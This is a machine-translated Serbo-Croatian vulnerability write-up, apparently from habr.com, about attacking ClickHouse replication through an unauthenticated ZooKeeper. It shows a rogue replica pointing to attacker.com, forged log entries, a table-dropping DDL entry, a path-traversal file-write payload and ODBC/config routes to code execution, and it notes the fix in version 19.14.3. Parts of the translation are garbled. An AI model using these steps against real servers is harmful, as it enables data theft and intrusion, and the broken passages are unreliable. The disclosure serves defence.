Ovaj članak će ispričati priču o vrlo specifičnoj ranjivosti u ClickHouse protokolu replikacije, a također će pokazati kako se površina napada može proširiti.
ClickHouse je baza podataka za pohranjivanje velikih količina podataka, najčešće koristeći više od jedne replike. Grupiranje i replikacija u ClickHouse-u su izgrađeni na vrhu
Podrazumevana ZK instalacija ne zahteva autentifikaciju, tako da su hiljade ZK servera koji se koriste za konfigurisanje Kafka, Hadoop, ClickHouse javno dostupni.
Da biste smanjili površinu napada, uvijek biste trebali konfigurirati autentifikaciju i autorizaciju prilikom instaliranja ZooKeepera
Naravno, postoje neke Java deserializacije zasnovane na 0 dana, ali zamislite da bi napadač mogao čitati i pisati u ZooKeeper, koji se koristi za ClickHouse replikaciju.
Kada je konfigurisan u režimu klastera, ClickHouse podržava distribuirane upite /clickhouse/task_queue/ddl
.
Na primjer, kreirate čvor /clickhouse/task_queue/ddl/query-0001
sa sadržajem:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
a nakon toga će se obrisati testna tablica na serverima klastera host1 i host2. DDL također podržava pokretanje CREATE/ALTER/DROP upita.
Zvuči zastrašujuće? Ali gdje napadač može dobiti adrese servera?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
čvorovi će biti kreirani kolone и Metapodaci.
Sadržaj /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Da li je moguće spojiti podatke iz ovog klastera? Da, ako je port za replikaciju (TCP/9009
) na serveru chXX-address
zaštitni zid neće biti zatvoren i autentifikacija za replikaciju neće biti konfigurisana. Kako zaobići autentifikaciju?
Napadač može kreirati novu repliku u ZK jednostavnim kopiranjem sadržaja iz /clickhouse/tables/01-01/foobar/replicas/chXX
i menjanje značenja host
.
Sadržaj /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Zatim morate reći ostalim replikama da postoji novi blok podataka na serveru napadača koji trebaju preuzeti - kreira se čvor u ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX monotono rastući brojač, koji bi trebao biti veći od posljednjeg u dnevniku događaja):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
gdje izvorna replika — naziv replike napadača kreirane u prethodnom koraku, block_id — identifikator bloka podataka, dobiti - komanda "dobi blok" (i
Zatim, svaka replika čita novi događaj u dnevniku i odlazi na server koji kontroliše napadač kako bi primio blok podataka (protokol replikacije je binarni, radi na HTTP-u). Server attacker.com
će primiti zahtjeve:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
gdje su XXX podaci o autentifikaciji za replikaciju. U nekim slučajevima, ovo može biti nalog sa pristupom bazi podataka preko glavnog ClickHouse protokola i HTTP protokola. Kao što ste vidjeli, površina napada postaje kritično velika jer je ZooKeeper, koji se koristi za replikaciju, ostao bez konfigurirane autentifikacije.
Pogledajmo funkciju dobivanja bloka podataka iz replike, napisano je s punim povjerenjem da su sve replike pod odgovarajućom kontrolom i da postoji povjerenje između njih.
kod za obradu replikacije
Funkcija čita listu datoteka, zatim njihova imena, veličine, sadržaj, a zatim ih upisuje u sistem datoteka. Vrijedi posebno opisati kako se podaci pohranjuju u sistem datoteka.
Postoji nekoliko poddirektorija u /var/lib/clickhouse
(zadani direktorij za pohranu iz konfiguracijske datoteke):
zastave - imenik za snimanje
tmp — direktorij za pohranjivanje privremenih datoteka;
user_files — operacije sa datotekama u zahtjevima su ograničene na ovaj direktorij (INTO OUTFILE i drugi);
Metapodaci — sql fajlovi sa opisima tabela;
preprocessed_configs - obrađene izvedene konfiguracijske datoteke iz /etc/clickhouse-server
;
podaci - stvarni direktorij sa samim podacima, u ovom slučaju za svaku bazu podataka se jednostavno kreira poseban poddirektorij (npr. /var/lib/clickhouse/data/default
).
Za svaku tablicu kreira se poddirektorij u direktoriju baze podataka. Svaka kolona je zasebna datoteka u zavisnosti od
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Replika očekuje da će primiti datoteke sa istim imenima prilikom obrade bloka podataka i ne potvrđuje ih ni na koji način.
Pažljivi čitalac je vjerovatno već čuo za nesigurnu konkatenaciju file_name u funkciji WriteBufferFromFile
. Da, ovo omogućava napadaču da upiše proizvoljan sadržaj u bilo koji fajl na FS-u sa korisničkim pravima clickhouse
. Da bi to uradila, replika koju kontroliše napadač mora da vrati sledeći odgovor na zahtev (prelomi reda su dodati radi lakšeg razumevanja):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
i nakon konkatenacije ../../../../../../../../../tmp/pwned
fajl će biti upisan /tmp/pwned sa sadržajem hellofromzookeeper.
Postoji nekoliko opcija za pretvaranje mogućnosti pisanja datoteke u daljinsko izvršavanje koda (RCE).
Eksterni rječnici u RCE
U starijim verzijama, direktorij s postavkama ClickHouse je pohranjen s korisničkim pravima clickhouse default. Datoteke postavki su XML datoteke koje servis čita pri pokretanju, a zatim kešira /var/lib/clickhouse/preprocessed_configs
. Kada dođe do promjena, one se ponovo čitaju. Ako imate pristup /etc/clickhouse-server
napadač može kreirati svoje root
.
ODBC u RCE
Prilikom instaliranja paketa kreira se korisnik clickhouse
, ali njegov početni direktorij nije kreiran /nonexistent
. Međutim, kada koristite eksterne rječnike, ili iz drugih razloga, administratori kreiraju direktorij /nonexistent
i dati korisniku clickhouse
pristup za pisanje na njega (SSZB! cca. prevodilac).
ClickHouse podržava odbc-bridge
, tako da više nije moguće specificirati putanju drajvera iz zahtjeva. Ali može li napadač pisati u početni direktorij koristeći ranjivost opisanu gore?
Kreirajmo fajl ~/.odbc.ini
sa ovakvim sadržajem:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
zatim pri pokretanju SELECT * FROM odbc('DSN=lalala', 'test', 'test');
biblioteka će biti učitana test.so
i primio RCE (hvala
Ove i druge ranjivosti su popravljene u ClickHouse verziji 19.14.3. Vodite računa o svojim ClickHouse i ZooKeepers!
izvor: www.habr.com